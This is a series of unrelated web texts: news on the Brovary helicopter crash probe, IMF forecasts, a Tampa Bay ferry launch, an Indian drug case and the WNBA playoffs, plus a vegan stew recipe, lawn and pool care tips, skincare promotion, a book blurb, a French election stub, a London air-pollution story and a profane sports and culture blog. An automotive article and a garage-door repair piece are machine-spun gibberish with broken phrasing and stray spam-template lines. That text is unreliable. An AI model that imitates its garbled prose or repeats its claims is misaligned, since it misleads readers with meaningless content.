The Security Service of Ukraine (SSU), which is investigating the January 18 helicopter crash in Brovary, is considering three versions of events. Mariana Reva, Spokeswoman of the National Police of Ukraine made this statement at a briefing at Media Center Ukraine — Ukrinform.
"The investigation is being conducted by the Security Service of Ukraine. Yesterday, the SSU officially announced the versions that are currently being considered. To quote the Security Service, the main working versions include violation of flight rules, a technical malfunction and deliberate actions to destroy the aircraft. In the future, the interdepartmental task force will work on this and the investigators will draw conclusions depending on the results of the forensic probe," — Reva said.


Financiers Warn Automobile Industry Over Temperature Improvement.
Whether you accept driverless automobiles as the new overlords of private transportation, or anticipate a Terminator-style armageddon on public roads, the main thing is actually for sure: they are actually are actually coming soon. Analysts test makers on exactly how they would avoid vehicles coming from killing their managers, while supervisors of companies including Ford as well as VW assert driverless automobiles would certainly create our streets safer. Supposedly, Mercedes-Benz in Germany has been actually rather overenthusiastic with its help" for some German car honors. The paragraphs utilize examples coming from the résumé to explain just how the applicant is a really good match for the company.
It keeps Auto-da-Fé interesting, even in the parts where this stagnates a little bit (this is actually a lengthy publication, nevertheless). What is actually additional, between the ages from 30 and FIFTY, males really pay slightly much less for automotive insurance coverage in comparison to girls. Technical developments, including seat belts and also anti-skid brakes, have actually assisted to lower the lot of total auto accident coming from 6.7 m in 1988 to 5.7 m in 2013, baseding upon the National Road Traffic Safety and security Administration. That is actually thus important that line autos are actually maintained clean and in good working purchase.
His gang targeted parking area, mostly in Essex, laying in hold-up as unintended vehicle drivers activated their remote control locking. The i20 excellents at locking out wind and road noise, which assists make it unwinding on a long ride. Like a lot of GM vehicles with an HUD, you can easily change the luminosity of the HUD and also the location (up or even down), however the HUD doesn't sense background illumination.
Just what our company are actually observing is actually a significant willingness of the much younger population to truly adapt to this, to use these vehicle sharing designs as a technique from preventing auto possession," Clelland said. Many shoppers plump for the first 2 phases, but choose not to dedicate to buying a vehicle - specifically one along with a handful of kilometers presently on the time clock - view undetected. As the player competitions throughout the video game's job and takes up contracts as methods to develop their credibility and reputation, one thing the gamer will definitely become really aware of and fairly quickly is the game's factor of option.
For example, if a youngster experiences the street as well as you skid to prevent him, the elusive guiding aid aids apply guiding twist to safely stay away from the little one and then helps straightening out the vehicle. Feel free to details that most cars and truck lease business will offer you a purchase alternative for the car you have decided on.
While the whole list from cars and trucks that will be in Grandmother Turismo Sport have certainly not been actually declared, our experts could tell from the trailer a lot of cars that are going to be featured in the video game. When you beloved this short article as well as you desire to obtain more details with regards to Full Post i implore you to check out the page. Stephen Bayley, who has actually created several books on cars and truck concept, is actually convinced the age from the vehicle is actually involving a point. Once more, this isn't really a deal-breaker - you possess an option of beginning events as well as the options develop as the video game takes place - but it creates all the great things that little bit less available.
. In spite of exactly how unclear the rumours concerning the Apple Vehicle have been so far, a lot of sources seem to agree on a launch timespan. According to the report, Apple is actually keeping team numbers 'constant' by choosing new individuals to focus on the driverless auto body, observing a long string from reassignments, redundancies, and also voluntary variations.
All the social, technical as well as political patterns lead to a quick collapse from the polluting internal combustion motor, the resulting electric vehicles as well as the end to German automobile prominence. Only making the arithmetic really easy ... let's mention a supplier pays for $5 per day in rate of interest costs that an automobile is actually floorplanned. Mobile auto solutions use you the ease of same-day service in a spot where you want that to become, as well as this conserves you a lot of time.
Renault has also ceased selling the Espace right here, as well as tourists to overseas climes might have discovered a strange Citroen by label Elysée - one more French cars and truck that hasn't already created this across the Network. Realistically, though, our company have no tip what does it cost? the Apple Automobile will certainly set you back till Apple acquires up on phase as well as uncovers the number to the planet - if such a day ever before happens.
Car safety and security bodies have actually accelerated up until now now that the easiest means for a thief to take the cars and truck is usually to take the secrets themselves. Licensed Used automobiles can do that, however look very closely at the phrases and see to it you are actually receiving one thing that is actually useful to you. If they may obtain even more cash for the automobile and certainly not shed frequent organisation, they will definitely give this auto to individuals.
That is actually given that while autonomous automobiles could seem excellent abstractly, placing cars while driving without a genuine human behind the wheel is very difficult to turn out virtual. Where various other titles may utilize advertising and marketing word play heres as a way to effect reality, Job Cars however, actually does place the gamer behind the steering wheel. If you have ever striven to do the greatest that you can, even under demanding conditions, you are a really good child. Origin makes no acknowledgment from assistance for Android Car or even Apple CarPlay, unfortunately.


This stew is completely vegan and jam-packed with all kinds of nutrients! There is a ton of protein goodness coming from quinoa, lentils, edamame, and kidney beans. Quinoa and soy are two of the few plant based proteins that are complete proteins, meaning they contains all of your essential amino acids. Lentils and kidney beans are also awesome sources of fiber as well as protein.
We can't forget about the best part and the base of this stew, tomatoes. Tomatoes are such a big part of my day to day diet and are such a large part of the nutrition community because they are so rich in one of the most well known antioxidants/carotenoids, lycopene! Lycopene is a carotenoid, or type of Vitamin A, found in tomatoes that gives them their beautiful red hue as well as tons of health benefits. Lycopene has been related to cancer as well as having cardiovascular, anti-cancer, & anti-inflammatory benefits along with improving bone health, improving cholesterol levels in the body and decreasing obesity. They are also one of the only fruits/veggies that increases in nutritional content when cooked! Typically it is quite the opposite and fruits/veggies are in their prime nutritional content when raw.
In a large pot or dutch oven, combine olive oil and onion over medium to high heat and cook until onion is translucent.
Add in garlic, carrot, celery, and frozen edamame at this point.
Cook for a few minutes and be sure to stir to prevent burning.
Blend one can of the diced tomatoes to make a tomato sauce and pour into pot along with the can of diced tomatoes and vegetable broth.
Add kidney beans and bring everything to a boil.
Add in quinoa and lentils when the stew is boiling, stir, and allow it to come back to a boil.
Once the tails are out on the quinoa, everything should be cooked through.
Turn off heat and stir in spices as well as fresh basil.
This stew goes perfectly with avotoast, a nice dollop of hummus, a soft boiled egg, or all on its own! To serve, just place back on the stove in a saucepan or warm up in a microwave safe dish and cover for a minute or so. This should be able to keep for about a week but would be great as a quick dinner if made ahead and frozen! I hope you enjoy the recipe and please let me know if you try it!
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Here are some tips and tricks to maintaining a healthy lawn during extremely hot summer months here in Southern California.
A common mistake made by both landscapers and homeowners is cutting a lawn too short in summer. During hot summer days a lawn cut too short will dramatically affect the turf's ability to produce energy and maintain healthy root growth.
Never cut off more than one-third of the grass height at one time. Taller grass develops stronger roots that support more vigorous plants that are more tolerant of stress.
Extra watering during summer months is fine, just don't over do it. Turf grasses do best in slightly damp, not wet soil conditions. Too much water can lead to oxygen deprivation of roots and lead to disease. It is best to water deeply during pre-dawn hours rather than several shallow waterings throughout the day. A healthy lawn only requires about an inch of water per week to thrive.
Check your mower blade. Is it sharp? Are you noticing grass blades that are torn or jagged? Jagged cuts from a dull blade can stifle turf growth. A sharp cut allows the plant to heal faster and you won't get the edge browning often seen after a dull blade mowing.
Use clippings as a mulch. If you have a mulch setting on your mower, use it. Clippings are beneficial to the lawn as they act as a slow-release fertilizer as they decompose. Mulched clippings also help retain soil moisture from evaporation.
During the hot summer months, your lawn is in conservation mode. Fertilizer stimulates growth which can over stress turf in survival mode and lead to significant damage to your lawn. Resist any aggressive lawn care during hot summer months. De-thatch, aerate, and fertilize in the fall when your lawn is more stable and weather is cooler.


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IMF chief: Global financial threat easing
Written by Mil Arcega of VOANews on April 21, 2013 in News, World - No comments
Despite an uneven recovery between advanced and developing economies, the heads of both the World Bank and the International Monetary Fund say the global financial crisis has eased substantially. But these global lending institutions say member countries must do more to spark sustainable economic growth.
The world's economy is growing at a slightly slower pace than the IMF's initial forecasts in January. But top financial officials gathered in Washington for the annual Spring meetings – face a less threatening economic landscape, says IMF Managing Director Christine Lagarde.
"Looking behind the numbers, we believe we have avoided the worst, and the economic world no longer looks quite as dangerous as it did," she said.
But Lagarde added that the pick-up in financial conditions in the US, Europe and Japan has yet to translate into a sustainable recovery.
"On the euro area, policy makers have accomplished a great deal over a short period of time. The priority now is to fix frayed banking systems, press ahead with a banking union. In Japan, which as I said is, has a space of its own, the recently announced framework of ambitious monetary easing, is, from our point of view, a positive step. But it is not enough," she said.
On Friday, finance ministers from 20 of the world's biggest economies endorsed Japan's efforts to boost its stagnant economy. But the stimulus package enacted by Japan's leaders also lowers the value of the yen – giving Japanese-made products a price advantage in world markets. In an official communique, G20 nations said they will monitor the effects of Japans's policies and take corrective action as needed.
Much attention also is focused on China, which saw weaker than expected growth in the first quarter. But World Bank President Jim Yong Kim said he's not worried.
"We've worked with China on a 2030 report that looks specifically at the strategy going forward. And our sense is that the Chinese leadership is laser-focused on doing those things that will build the foundations of their future growth," said Kim.
The world's top financial policy makers also are expected to look at the effectiveness of debt reduction policies around the world. Some economists say austerity measures, particularly those in Europe, have helped reduce the debt burden in some countries – at the expense of economic growth.
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IMF still sees 4% economic downturn in Bulgaria this year
In June 2020 forecast, IMF gloomier about global economy
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Strong Ridership on Ferry's First Weekend
St. Petersburg/Tampa, Fla. (November 11, 2016) –Ticket sales for the first weekend of service of the Cross-Bay Ferry were very strong, with over 70% of the seats sold from Friday night through Sunday evening. Nearly half the one-way trips sold at least 90% of the available inventory. The Cross-Bay Ferry ran seven roundtrips over the weekend.
"The results are beyond our expectations, and the excitement we're seeing for the ferry across Tampa Bay is translating into real ticket sales," said St. Petersburg Mayor Rick Kriseman. "Still, this is just the first weekend, and our team expects that ridership will go up and down over the next few months. We don't expect that it will stabilize until the third month."
[endif]Project advisor Ed Turanchik with Akerman LLP put the weekend ridership into perspective. "The weekend ridership was comparable to the number of passengers carried on a weekday basis on all HART express, limited express, and Flex service." said Turanchik. "This shows the capacity of passenger ferry service to make a significant contribution to mobility in our region."
In other major marketing developments, the Tampa Bay Lightning bought out the Cross-Bay Ferry's round-trip tickets this Saturday evening for a group of fans in St. Petersburg to come watch the Lightning game. The Lightning will have the Thunder Bug and Lightning cheerleaders on board, and will film a special promotional video to encourage Pinellas residents to use the ferry to get to games and events at Amalie Arena.
Strategic Property Partners also will start providing discounted parking at the surface parking lot immediately north of the Marriott Waterside on dates when there is not an event at Amalie Arena. Ferry passengers will be able to park just a block from the ferry terminal for just $5 on the day they use the ferry. Passengers can pick up a voucher when they board the ferry.
Tickets are on sales for Cross-Bay Ferry service on Friday, Saturday and Sundays through April, with the third Sunday a Free Ride day sponsored by Frontier Communications, which is also sponsoring free daily service on the Monday, Tuesday and Wednesday before Thanksgiving Day. Tickets for this service are only available on a walk-up basis. Full 7-day a week service begins November 28th and runs through the end of April 2017. Passengers can purchase tickets at the docks near the St. Petersburg Museum of History in St. Petersburg and the Convention Center in Tampa, or at www.CrossBayFerry.com.
The launch of the Cross-Bay Ferry became possible through a unique collaboration between the City of St. Petersburg, the City of Tampa, Hillsborough County and Pinellas County.
Other community supporters and partners include The Tampa Bay Times, Frontier Communications, iHeartMedia, Clear Channel Outdoor, the Tampa Bay Lightning, Tampa Downtown Partnership, St. Petersburg Chamber, Visit Tampa Bay, Visit St. Petersburg Clearwater and The Pirate Water Taxi.


Over time our skins' natural ability to regenerate itself begins to slow down, this is due to a number of biological reasons but can also be caused by a lack of sleep and stress. Whatever it is, the effect on your skin begins to become a little more noticeable once you enter your flirty thirties. Written by Jade Thompson.
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Known as one of the pioneers in green beauty, Annemarie Börlind has been creating ethical skincare since 1959. The brand aims to create state-of-the-art natural cosmetics which are developed and produced in the ominous sounding 'Black Forest'. The outcome has been a range of 'care systems' created to tackle specific skin issues.
The collection includes a Cleansing Milk, Blossom Dew Gel, Day Cream, Night Cream and an Eye wrinkle cream. Basically, everything you could possibly need to ensure your late nights out on the town do not affect the vitality of your skin. The products are also vegetarian, so feel free polish off your halo because Annemarie Borlind products will help you feel good from the inside out.
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Actor Arjun Rampal to appear before NCB after being summoned in drug-related case
The Narcotics Control Bureau had carried out searches at Arjun Rampal's residence on Monday and seized some electronic gadgets. The agency has already questioned the 47-year-old actor's driver.
The summons were issued to Arjun Rampal after the NCB conducted raids at his premises on Monday.(Prodip Guha/HT Photo)
Hindustan Times, New Delhi | Byhindustantimes.com | Edited by: Amit Chaturvedi
Actor Arjun Rampal has been summoned by the Narcotics Control Bureau (NCB) on Wednesday in connection with a drug-related case. The summons were issued to the actor after the agency conducted raids at his premises on Monday.
Rampal's girlfriend Gabriella Demetriades has also been summoned by the NCB to appear before it on November 11, reported news agency ANI.
The NCB carried out searches at Rampal's residence a day after arresting film producer Firoz Nadiadwala's wife Shabana Saeed. The sleuths of the agency had allegedly recovered 10 gm ganja at Nadiadwala's residence in suburban Juhu.
It seized some electronic gadgets during raids at Rampal's house. The NCB has already questioned the 47-year-old actor's driver.
Meanwhile, Maharashtra home minister Anil Deshmukh said on Monday that assuming the whole Hindi film industry is "bad" because "some are involved with drugs" is not right, and the government will take actions against the guilty.
He further reiterated that consumption of drugs is against law, but the Maharashtra government will ensure that action is taken against such people. "But if someone is maligning Bollywood and working towards shifting it elsewhere from Mumbai then it's wrong. We won't let it happen," he further said.
The NCB launched an investigation into the consumption and possession of drugs by people in the Hindi film industry after it received official communication from the Enforcement Directorate (ED), in which there were various chats related to drug consumption, procurement, usage and transportation in connection with the death of Sushant Singh Rajput.
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Having a swimming pool installed in your backyard and maintaining it properly is a considerable investment of time and money — and one that should keep your family smiling in the summer for years to come. To get the most out of your pool, it's important to have it inspected regularly by a licensed professional. In the meantime, there are many things that you can do to help extend the life of the pool. Here are some important ideas to follow.
Your swimming pool will have a cleaning system that either filters out debris or acts in the same manner as a vacuum by traveling around the floor of the pool and sucking up anything that has landed in the water. Don't simply rely on either of these elements to do the job — it's a good idea for you to also be vigilant about removing large pieces of debris that fall into the water. For example, if you notice several big leaves in the water after heavy winds, grab your net and fish them out. This will prevent these items from possibly clogging the cleaner and maybe even causing damage to the motor. By taking a proactive approach to the debris in your pool, you can keep it healthy for a long time.
You don't have to have a swimming pool for long before you get intrigued about letting your dog have a dip — especially on a hot summer day when the dog appears to be miserable outside. This, however, is not a good idea. The chief risk of putting your dog in the water is that its claws will cause damage to your pool liner. A panicked dog paddling frantically can cause a major amount of damage in just the blink of an eye. Even if your kids are egging you on about letting the dog have a swim, hold firm — and let your dog jump around in the sprinkler instead.
Shocking your swimming pool by adding specialized chemicals is a necessary step that can help you to extend the pool's life. The frequency with which you should shock the pool depends on the current chlorine level, as well as other factors such as the weather. For example, if it rained heavily, the chlorine content in the pool will have decreased, which means that it could be time to shock the water. Shocking the pool when necessary can limit the growth of algae, which could cause damage or require significant maintenance.
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WNBA playoff field set, LA-Minnesota meet in first round
NEW YORK — The WNBA playoffs are set after a wild, unpredictable regular season came to an end Sunday.
As expected, Los Angeles and Minnesota will meet in the postseason for a third straight year. Unexpectedly, it's in the first round.
The two-time WNBA finalists finished a surprising sixth and seventh in the regular season and will face off in Los Angeles on Tuesday night.
"Minnesota is a good team. You can throw records out the window right now," Sparks coach Brian Agler said. "They have two of the elite offensive players in the league, one inside and one outside, they have veteran savviness, tough minded championship pedigree and we have played them enough, over 20 times in three years, so we know each other pretty well."
Phoenix will host Dallas, which earned the final playoff spot Friday, in the other first-round elimination game.
"I mean, you obviously want to finish as high up as you can. There was a point there when we thought we were going to be in that top two, top four, but you have to win regardless. I think we're playing well," Phoenix guard Diana Taurasi said. "I think we found our groove a little bit on the things that we want to do. Getting a home game, but we still have to go out there and play hard and play really well to win."
Seattle and Atlanta earned byes to the semifinals by finishing first and second. The Dream clinched the No. 2 spot on the final day of the regular season. Washington and Connecticut earned first-round byes.
"We are thrilled. There is a whole lot of parity in the league," WNBA President Lisa Borders told the AP on Sunday night. "Clearly anyone can beat anyone on any given day. We are thrilled with the unpredictability."
Here are a few things to watch for in the opening round of the playoffs:
∫ ONE LAST RIDE: Minnesota Lynx point guard Lindsay Whalen announced she would retire after the season ended. She's won four titles with the Lynx and hopes to have one more shot at a championship.
The Lynx would have to beat Los Angeles and either Washington or Connecticut to get a chance to play at home again.
"It was Lindsay Whalen's last time at Target Center as a competitor in the WNBA during the regular season. I think we would all like to give her another chance to come back here but we'll just take it one day at a time," Minnesota coach Cheryl Reeve said.


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Diy Garage Door Repair – Is The Doorway Open Or Closed This Spring?
When installing your garage door, it is great to know that issues might increase with it more than time. This may range from mechanical to electrical to structural damages. Therefore getting a number at your finger tips to call when such problems rises is of uttermost significance. Nevertheless, very couple of property owners have a tendency to keep in mind this important job. The article aims to offer a stage by stage guide on how to select garage door fixing DC.
Car services restore of doors, there are, nevertheless, you have to start with the business that set up the device. They have the encounter of working with your device and should be able to suggest you and consider treatment of repairs. If this business is not available to help you, then you need to call another trustworthy company to come and assist you.
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–Në fund të shekullit të trembëdhjetë, Marko Polo filloi një udhëtim të gjatë nga Venediku në Kinë. Fuqia e "Rrugës së Mëndafshit" – rruga tregtare midis Europës dhe Azisë – ishte një themel i fortë i perandorisë së Kublai Khanit.
Tani, në shekullin e XXI, regjimi kinez ka propozuar një "Rrugë Mëndafshi" tokësore dhe detare që kopjon pikërisht rrugën që Marko Polo udhëtoi.
Autori Robert D. Kaplan paraqet një plan të politikës së ndryshimit të energjisë në botë që kujton fundin e shekullit të trembëdhjetë. Ndërsa Europa po thyhet nga ndryshimet në kulturë dhe migrim, Eurazia lidhet me një sistem të vetëm.
Random House Publishing Group, Mar 6, 2018 – 304 pages.
-A bracing assessment of U.S. foreign policy and world disorder over the past two decades, anchored by a major new Pentagon-commissioned essay about changing power dynamics among China, Eurasia, and America—from the renowned geopolitical analyst and bestselling author of The Revenge of Geography and The Coming Anarchy.
In the late thirteenth century, Marco Polo began a decades-long trek from Venice to China. The strength of that Silk Road—the trade route between Europe and Asia—was a foundation of Kublai Khan's sprawling empire. Now, in the early twenty-first century, the Chinese regime has proposed a land-and-maritime Silk Road that duplicates exactly the route Marco Polo traveled.
In the major lead essay, recently released by the Pentagon's Office of Net Assessment, Robert D. Kaplan lays out a blueprint of the world's changing power politics that recalls the late thirteenth century. As Europe fractures from changes in culture and migration, Eurasia coheres into a single conflict system. China is constructing a land bridge to Europe. Iran and India are trying to link the oil fields of Central Asia to the Indian Ocean. America's ability to influence the power balance in Eurasia is declining.
This is Kaplan's first collection of essays since his classic The Coming Anarchy was published in 2000. Drawing on decades of firsthand experience as a foreign correspondent and military embed for The Atlantic, as well as encounters with preeminent realist thinkers, Kaplan outlines the timeless principles that should shape America's role in a turbulent world: a respect for the limits of Western-style democracy; a delineation between American interests and American values; an awareness of the psychological toll of warfare; a projection of power via a strong navy; and more.
From Kaplan's immediate thoughts on President Trump ("On Foreign Policy, Donald Trump Is No Realist," 2016) to a frank examination of what will happen in the event of war with North Korea ("When North Korea Falls," 2006), The Return of Marco Polo's World is a vigorous and honest reckoning with the difficult choices the United States will face in the years ahead.


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L'élection générale néo-écossaise de 1999 se déroule le  afin d'élire les députés de l'Assemblée législative de la Nouvelle-Écosse. Il s'agit de la  générale depuis la création de l'Assemblée législative en 1758. Le Parti progressiste-conservateur de la Nouvelle-Écosse, dirigé par John Hamm, est porté au pouvoir ; il défait le gouvernement libéral de Russell MacLellan et forme un gouvernement majoritaire.

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* N'a pas présenté de candidats lors de l'élection précédente.

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Articles connexes
 Liste des chefs de gouvernement de la Nouvelle-Écosse
 Partis politiques néo-écossais

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More than half of Hampstead schools in dangerously polluted areas
CREDIT: This story was first seen in the Ham & High
Concerned parents and residents are determined to make the threat of toxic air a local election issue, as figures reveal that almost 55% of schools in Hampstead are exposed to toxic fumes, the Ham & High reports.
The figures, released by London Atmospheric Emissions Inventory, also show that 79% of schools in Holborn and St Pancras are in areas which are over the legal pollution limit.
Children in the parliamentary constituencies of Finchley and Golders Green and Hornsey and Wood Green are significantly less exposed to the toxic fumes in comparison, although no schools should be in areas which breach legal pollution limits.
In Finchley and Golders Green and Hornsey and Wood Green, nine per cent and 12% of schools are respectively in areas which are considered unsafe.
Hampstead solicitor Jessica Learmond-Criqui said: "North West London is mobilising and campaigning for clean air for children who go to school in what is the educational capital of the UK and indeed, of the world.
"Hampstead is the schools' capital of the world with more children going to school here, per capita, than anywhere else. Ninety-one per cent of the children who go to school in Hampstead do not live here – of 12,500 children who go to school here, only 1,100 live here.
"We are raising a major alert, particularly as we go into the summer months when atmospheric conditions may exacerbate pollution levels.
"Some of the roads in Hampstead are almost twice in excess of the legal limit for NO2 levels.
"The children who go to school here and their parents are at risk as they are threatened by illegal toxic fumes."
Commenting on the figures in his local area, Keir Starmer, Parliamentary candidate for Holborn and St Pancras, said: "This is another stark reminder of the damage that air pollution is doing to our community.
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"For one in four local schools to be in areas of dangerously high pollution is shocking and unacceptable.
"We also need a government who are willing and able to take bold steps necessary to improve our environment."
Hampstead campaigners fear that the Cycle Superhighway 11 (CS11) and the High Speed Rail 2 (HS2) schemes will bring 475 extra cars and lorries per hour to the busy side streets around schools and pose a threat to children's health, as well as causing irreparable damage to the lungs of elderly residents.
Ms Learmond-Criqui is calling on Camden Council to ensure it complies with its obligations under the EU Air Quality Directive and to deliver clean air to North West London.
She is keen to hear the views of all Parliamentary candidates in Hampstead and Kilburn on pollution and how to combat the issue.
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Hot-Take Hotep Vol. 5: The Kang James Version
I'm not sure if this is a meme or if it really came from SLAM Magazine, but I'll credit SLAM Magazine
If the title wasn't a dead giveaway, I'm going to spend some time in this edition of HTH talking about LeBron "The Kang" James. Let me preface this by saying I am in no way, shape, or form a LeBron fan. I just can't do it. I despise the constant badgering of his super fans already and I can't be a part of that club. Seriously they are the most insufferable group of fans outside of the Beyhive, Cowboys fans, Saints fans, and Nintendo fans. There's either an abundance of over-praise or an abundance of excuses when it comes to all of the mentioned fan-bases. With all that being said…
LeBron is cold as a muff***a.
This man is in his 15th year in the league and he's playing better basketball now than I've ever seen him play. In the 2018 playoffs he's averaging 33.7 pts (on a .550 FG%), 8.7 rebs, 9.0 ast, and just 3.8 turnovers. Russell Westbrook can only DREAM about that level of efficiency. Listen, there's no way in hell the Cavs are going to win the championship but the way he has this awful supporting cast playing they could definitely fool you into thinking they have a shot. LeBron James does make the players around him better. Anything beyond that narrative has to stop. His basketball IQ is too high for him to be a detriment to any supporting cast. This team should be at home right now but James simply will not let this slaw ass squad lose!
This is definitely a meme, but the original photo is from Rocky IV. With that being said, Photo Credit: MGM
As I've stated before, Cleveland is going to win this thing in 6 games and send Brad's modem rebooting ass home before being sent to the Upside Down by Golden State. At this point we're all just along for the ride to see what kind of ridiculous game Bron is going to have next against a Celtic team that is finally missing their stars. Kyrie and Gordon would've made a massive difference in this series. I could make a case that the Cavs would've been swept with both of those guys on the floor. Kyrie is a cold-blooded closer while being a game changer that would prevent James' dominance from taking the Celtics completely out of a game. LeBron better enjoy the East while he can because if for any reason he decides to stay in the conference and go to any team outside of Philly, it's a wrap for him making it to the Finals.
The Celtics are going to be a significant problem in the East for a long time…
Photo Credit: The Internet, Harden's Beard, and I'm assuming TNT
Team Rocket is Blasting Off Again…
I still don't Trust James Harden, but that "f**k you" dunk on Draymond Green in Game 4 of the WCF made me want to. This series is interesting because of how up and down it has been as far as the Warriors are concerned. If Steph played like the REAL Steph and not Earth-2 Steph then this series would've been over. The Rockets are a great team but it takes so much for them to get a win over the Dubs you start to wonder just how far ahead Golden State really is. In both of Houston's wins Durant and Curry had rough shooting nights. Man how often is that s**t going to happen?
This series is tied 2-2 and I still have the Warriors winning per The Infinity Gauntlet, but the Rockets have made the playoffs fun again. The conflict over in the East is dope, too, but the inevitability of an NBA Street-style gamebreaker in the West gives the Rockets/Warriors match-up a more theme park-like feel.
Oh… The Suns are totally going to f**k up that #1 pick.
Photo Credit: Sports Illustrated via Twitter
Jemele is Great. Fox & Friends Still Leaves More to be Desired
Shout out to Jemele Hil for being named Journalist of the Year by the National Association of Black Journalist. Jemele has always been dope to me. I still hate that she and Michael Smith agreed to do the evening edition of "Sportscenter", as their previous show, "His & Hers", was far superior and allowed them to just kick back and speak their minds. Of course the mass audience of "Sportscenter" caused ESPN to buckle to the pressure of white outrage due to Jemele's comments on that-fella-that-sits-in-that-big-white-house, leading to the censoring of both Hill and Smith. This lead to the departure of them both from ESPN television (and if Smith has popped up since then, I must've missed it) and it appears that they're out here living their best life now.
And about that white, tearful outrage. Well it lead to "Fox & Friends" incorrectly saying that Jemele was unemployed when they berated the NABJ for honoring her. And of course, in true Fox "journalism" fashion, they cleared it up later, but not with nearly the same amount of enthusiasm.
This is America…
Photo Credit: The Internet in all its splendor...
J2 actually came up with a concept similar to Django Unchained in 2010. It was about a boy who was taught the ways of the ninja by a butler, who was to be played by Jet Li. The name of this tale was "N***a Assassin". This is not a fabricated story. Ask me about it.
Let's Talk About Black Geek Lovin': Part 1
So, Childish Gambino dropped a wonderful video for his song, "This Is America" (that you can find a dope ass piece about the video on this very site) and Black America lost its collective mind. There have been plenty of comments, videos, and articles breaking down the myriad of messages in Donald Glover's brilliant work. Some people don't care much for the song (I don't think it holds up very well without the accompanying video), but the adoration for the music video appears to be unanimous. Or at least it appeared to be unanimous.
Photo Credit: Backgrid
SUMMON THE HOTEPS!!!
Of course the Hoteps came through like an aggressive, angry, cocoa butter flood, and brought up the fact that he has a white girlfriend and due to this he is not worthy of being "woke". The narrative soon shifted to what it means to be black enough to deliver positive messages and subtext for your people. I'll just put it out there now: F**k anybody who believes that bulls**t. It makes no sense to dismiss someone because of the skin color of who they love. That essentially turns you into the thing that you hate and that pattern of thought should not serve as a means to disqualify a person's opinion or position in their community. Something interesting happened over the course of the 2,000th Great Social Media Ragnarok that dramatically shifted the argument. Some people adopted the theory that black women don't want the black male geek.
I immediately called bulls**t.
As a dark-skinned big fella who loves himself some Spider-Man, I checked off all of the boxes that would prevent me from getting play according to a popular perception of the world during the 90's and most of the 00's. For a while I did hide the geek that lied beneath. Think of it in the way the Bruce Banner tries to hide The Hulk, but with WAY more success and WAY less rage. The biggest things I had going for me growing up was that I knew how to hold a conversation and I had black knowledge on my side.
Then "Iron Man" dropped. Then "The Incredible Hulk" dropped. Then "Thor" dropped.
All of a sudden, a lot of black women were interested in super heroes, but they didn't know a lot about it.
BLACK MALE GEEKS WERE FINALLY A F*****G THING!!! Keep in mind that this was around the time Rick Ross, a dark skinned big man with a beard, had ebony queens seeking out dark skinned big men with beards. It was my opportunity to be my ENTIRE self when talking to women about the things I liked. I didn't have to end my description of myself at "…and I like sports, of course." Now I could end with "… and I'm a huge comic book, God of War, Dragon Ball Z, Samurai Jack, and wrestling fan." The paradigm had shifted dramatically and we had inherited the Earth.
Me when I found out big, dark dudes with beards were in. Note: This ain't me. This is Rick Ross. Photo Credit: Page Six
Because of my experience with this, I couldn't grasp the notion that black women wouldn't go for a black geek in 20-f*****ng-got damn-18. My wife wasn't into all of this Marvel/DC s**t until my web-slinging, tombstone piledriver using, Kamehameha throwing ass introduced her to that universe. Dating is hard, especially for millennials, but not to the point where I had to hide my geek level. It's something that just wasn't my reality. I originally came into writing this piece thinking that I was just going to roast geeks who still couldn't get with some Ebony Ecstasy and blamed their geekiness for their lack of game.
Hell I posted a meme on the NJL FB page kinda-sorda pointing to the fact that people who believed that ish couldn't close the deal because they weren't attractive enough to the target demographic.
Photo Credit: Silvertzion
Then you see testimonials like this and think there's no way in hell black geeks aren't getting it in:
"It was like 4am and I was with my cousin. We'd gone out to Nitelyfe of all places and some dude she was seeing at the time wanted to go to iHop, I just wanted to go home so my attitude was hella salty. He invited a friend to, I guess, keep me calm but I was pretty much ignoring the poor fool. I was drunk, tired, he wasn't attractive to me at all and I'm not nice enough for small talk. Pretty much sat there on mute while we waited for our food. I can't remember what happened but I remember chuckling and saying, "OK Quinn Blackwood." Under my breath. He kinda leaned back and looked at me and said, "What you know about Anne Rice?" Now I'm pretty much looking at him the same way asking the same question. We start geeking out because she's apparently our favorite author. Everybody at the table is giving us that look non-geeky people give when two of us unexpectedly find each other in public and start having a conversation they can't follow. I think I decided I was going to screw this unicorn of a man the moment Anne's name exited his mouth because how many dudes do you know that go to Nitelyfe AND read shit like Anne f*****g Rice?"- M
Dawg if Anne f*****g Rice out here getting people *insert long-ass inappropriate, graphic, COUNTRY descriptions of sex* then just imagine what Batman and Iron Man are getting ninjas out here! When being a black geek and dating, confidence is definitely a key trait. Without it, you ain't s**t. There are black, strong, smart, THICK geeky women who want to talk to you about the end of the Dragon Ball Super Tournament of Power or why the Nintendo Switch is an abomination in the presence of Odin.
YOU JUST NEED TO BE BETTER!!!
Or do you? The more I researched this topic, the more I learned about the other side of this coin. Apparently some people are trash enough to still tease and roast others because of the things that they like.
I didn't expect to write this much about this topic, but I guess I have to split it up. Come back for Part 2!!!
J2 remembers the first time he was disrespected. The event occurred when one of his friends tried to tell him that Barney was a better show the Batman: The Animated Series. Legend has it, they're still in the Shadow Realm singing that damn Barney song.
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